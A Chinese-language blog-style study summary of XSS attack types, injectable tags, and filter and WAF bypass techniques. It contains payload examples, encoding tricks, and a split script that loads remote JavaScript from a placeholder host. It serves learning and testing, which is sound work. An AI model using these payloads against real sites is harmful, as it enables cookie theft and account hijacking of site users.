XSS攻击方式千变万化,越是学习这一块的知识就越感到自己对这一方面知识的匮乏。也如海绵一般,我也渴望汲取更多新的知识。文章仅仅是作为一个阶段式的小结。
反射型XSS
在用户单击时触发,只执行一次。
存在:搜索框,用户登陆口
攻击成本比存储型XSS高。
经过后端,不经过数据库。
数据流向:浏览器》后端》浏览器
存储型XSS
比反射型XSS威胁性高。
存在:留言,评论,博客日志交互处。
数据流向:浏览器》后端》数据库》后端》浏览器
DOM XSS
Document Object Model(文档对象模型),通常用于代表在HTML,XHTML,XML中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容,结构和样式。
DOM的规定如下:
整个文档是一个文档节点
每个HTML标签是一个元素节点
包含在HTML元素中的文本是文本节点
每一个HTML属性是一个属性节点
节点与节点之间都有等级关系
数据流:URL》浏览器
XSS利用平台:
XSS Shell, BeEF, Anehta, CAL9000。
利用:
窃取 Cookie,钓鱼欺骗,劫持帐户,执行 ActiveX,执行 Flash 内容,强迫您下载软件,或者是对硬盘和数据采取操作。
可以成功执行的标签:
<a href="javascript:confirm('a')" >1</a > a标签,点击时触发
img、video、audio标签 onclick:点击触发 onerror:当src加载不出来时触发 onload:当src加载完毕触发 并且在这些标签中,src加伪协议js代码不能触发,IE8以前的可以。
<iframe src= "javascript:alert('iframe')" width="0" height="0"/> iframe标签,写入后网页加载自动执行
<form action= "Javascript:alert('from_action0')">
<input type= "submit" formaction=" JaVaScript:alert('from_action2')">
<input type= "image" formaction=" JaVaScript:alert('from_action1')">
<input type ="text" onchange ="JaVaScript:alert('from_action3')">得到改变内容时触发
挖掘:
输入点:
是否进过DOM
HTML:标签之间,属性之间,事件之间
CSS样式表
DOM输出点:
JS代码段
过滤规则:服务端转换逻辑
不同浏览器的特征
绕过XSS-Filter
1,利用HTML标签属性值执行XSS
通常只有引用文件的属性才能触发跨站脚本。
2,回车空格TAB
如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,可省略分号;
如同一行中有多个语句,那么每个语句就必须使用分号结束。
<img src="javas
cript:
alert(/xss/)" width=100 >
3,对标签属性转码
&#ASCII
j;= j
TAB,换行,回车的ASCII
4,使用事件
5,利用CSS跨站剖析
使用CSS样式表执行JavaScript具有隐蔽,灵活多变的特点。但要注意各个浏览器之间不能通用,同一浏览器不同版本也可能不允许通用。
link,@import导入外部含有XSS代码的样式表文体。
6,扰乱过滤规则
大小写混淆,单双引号,expression+全角字符,/**/注释+混淆字符,\,\0。。。达到干扰,欺骗过滤器的目的
XSS关键字转码:\65=e=\065…
浏览器解析HTML注释存在的问题:
<…//> …
利用字符编码:&#ASCII,&#十六进制,�,�;,� ….
eval()函数,计算字符串:JavaScript:eval(“\x61……十六进制”)
eval()+十进制:String.fromcharCode()
样式表 \4d…十六进制
其他编码/加密技术:JScript Encode,VBScript Encode
拆分跨站法:
把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑起来在一起执行,这和缓冲区溢出的shellcode的利用方式一致;
存在XSS漏洞的页面,该XSS出现在标题处,并且对输入的字符的长度有限制:
。。。<script>z='<script src='; /*
。。。*/z+='http://www.test.c'; /*
。。。*/z+='n/l.js><\ /script>'; /*
。。。*/document/write(z) </script>
/**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转化为:
<script> z='<script src=';
z+='http://www.test.c';
z+='n/l.js><\ /script>';
document.write(z)</script>
然后依次赋值给z变量:
<script>z='<script src=http://www.test.c/l.js></script>';
document.write(z)
</script>
Base64编码绕过
HTML实体编码的利用绕过waf
<a href= ‘javascript:alert('123') ‘>Hello</a>
在标签内的所有伪协议JS代码都是可以不用用双引号引起来的。
<a href="javascript:eval('a\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
eval()\x十六进制 \八进制 \uunicode码
URL中有可以自定义控制前端编码
宽字节绕过:前端的编码是GKBK 那就可以用宽字节来绕过
头部Base绕过
第三方劫持 (外调J/C)
在开发者工具中的Console中使用如下代码,获取非本站(之后简称OtherWeb)的J/C
for(var i=0,tags=document.querySelectorAll('iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]'),tag;tag=tags[i];i++){
var a = document.createElement('a');
a.href = tag.src||tag.href||tag.data;
if(a.hostname!=location.hostname){
console.warn(location.hostname+' 发现第三方资源['+tag.localName+']:'+a.href);
}
}
如果获取到来自OtherWeb的J/C,通过渗透OtherWeb修改J/C进而导致本站遭受跨站脚本攻击。
对《SS手工测试阶段式小结》的一些补充:
跳过回车,TAB换行分隔符等时要注意:
1,必须用引号围住,避免词法分析器判定结束。
2,回车,换行只在属性括号里才会起作用.
3,跳过回车和换行,不支持on事件(除开空格)。
做一只搜索引擎的爬虫(User-Agent)
ip XSS构造(X_FORWARDED_FOR,HTTP_CLIENT_IP)
cookie XSS构造
编码:
再小记一次:)
URL:
+,%20 = 空格
%+ASCII => 十六进制
unicode
HTML:
&#+十进制十六进制ASCII码unicode
CSS:
/十六进制(1-6位)
插件安全问题
番外:
Referer为空才可以访问
注意返回的type类型
阻止浏览器302跳转:
把跳转的url端口设置低于80;使用CSP策略嵌入一个iframe 拿来配合CRLF
注意头部的X-XSS-Protection
文面有点乱:)
参考:
http://www.freebuf.com/column/155799.html
http://www.freebuf.com/articles/web/157589.html
http://www.freebuf.com/articles/web/6389.html
http://www.freebuf.com/articles/web/43285.html
《XSS跨站脚本 攻击剖析与防御》 邱永华
《Web安全深度剖析》 张炳帅